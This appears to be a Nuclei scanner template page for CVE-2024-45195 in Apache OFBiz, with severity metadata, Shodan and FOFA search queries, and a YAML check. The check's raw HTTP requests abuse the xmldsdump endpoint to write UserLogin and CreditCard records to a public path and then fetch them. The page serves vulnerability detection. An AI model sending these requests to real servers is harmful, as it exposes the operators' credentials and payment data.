CVE-2024-45195: Apache OFBiz - Remote Code Execution
- Template: CVE-2024-45195
- Name: Apache OFBiz - Remote Code Execution
- Description: Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
- Impact: Unauthenticated attackers can exploit missing view authorization checks to execute arbitrary code on Apache OFBiz servers.
- Remediation: Users are recommended to upgrade to version 18.12.16, which fixes the issue.
- Severity: high
- Authors: DhiyaneshDK
- Tags: cve, cve2024, apache, ofbiz, rce, instrusive, kev, vkev, vuln
- References: https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/, https://ofbiz.apache.org/download.html, https://nvd.nist.gov/vuln/detail/CVE-2024-45195
- Cves: CVE-2024-45195
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-45195.yaml
- Digest: 4a0a00473045022100d21760be0ce6aef5ba7aaf419395bf8a6bf23dbe595245b2103c7ae57cf44f25022039b401b8db697e62606db06b70bd7e8dab5708b1393bee6e7ddb067ff9a8c479
- Created at: 2024-09-06T12:25:44Z
- Updated at: 2026-09-06T23:24:28Z
- Age in days: 809
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-45195.yaml
- Checked, none or zero: verified
- Not known: max requests
Classification
- Cwe: CWE-425
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.99983
- Epss percentile: 0.99982
- Cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: app="apache_ofbiz", body="ofbiz"
- Product: ofbiz
- Shodan-query: ofbiz.visitor=, http.html:"ofbiz"
- Vendor: apache
Products
| Product | Indexed | Url |
|---|---|---|
| apache:ofbiz | yes | /v1/products/apache/ofbiz |
Labels
- Name: Apache OFBiz - Remote Code Execution
- Impact: Unauthenticated attackers can execute arbitrary code on the server, potentially leading to full system compromise.
- Remediation: Update to version 18.12.16 or later.
- Vulnerability type: remote_code_execution
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-45195
- Not known: requirements
```yaml
id: CVE-2024-45195
info:
name: Apache OFBiz - Remote Code Execution
author: DhiyaneshDK
severity: high
description: |
Apache OFBiz below 18.12.16 is vulnerable to unauthenticated remote code execution on Linux and Windows. An attacker with no valid credentials can exploit missing view authorization checks in the web application to execute arbitrary code on the server
impact: |
Unauthenticated attackers can exploit missing view authorization checks to execute arbitrary code on Apache OFBiz servers.
remediation: |
Users are recommended to upgrade to version 18.12.16, which fixes the issue.
reference:
- https://ofbiz.apache.org/download.html
- https://nvd.nist.gov/vuln/detail/CVE-2024-45195
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-45195
cwe-id: CWE-425
epss-score: 0.99983
epss-percentile: 0.99982
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
metadata:
vendor: apache
product: ofbiz
shodan-query:
- ofbiz.visitor=
- http.html:"ofbiz"
fofa-query:
- app="apache_ofbiz"
- body="ofbiz"
tags: cve,cve2024,apache,ofbiz,rce,instrusive,kev,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /webtools/control/forgotPassword/xmldsdump HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
outpath=./themes/common-theme/webapp/common-theme/&maxrecords=&filename={{filename}}.txt&entityFrom_i18n=&entityFrom=&entityThru_i18n=&entityThru=&entitySyncId=&preConfiguredSetName=&entityName=UserLogin&entityName=CreditCard
- |
GET /common/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "<?xml version="
- "entity-engine-xml"
condition: and
- type: word
part: content_type_2
words:
- "text/plain"
digest: 4a0a00473045022100d21760be0ce6aef5ba7aaf419395bf8a6bf23dbe595245b2103c7ae57cf44f25022039b401b8db697e62606db06b70bd7e8dab5708b1393bee6e7ddb067ff9a8c479:922c64590222798bb761d5b6d8e72950
```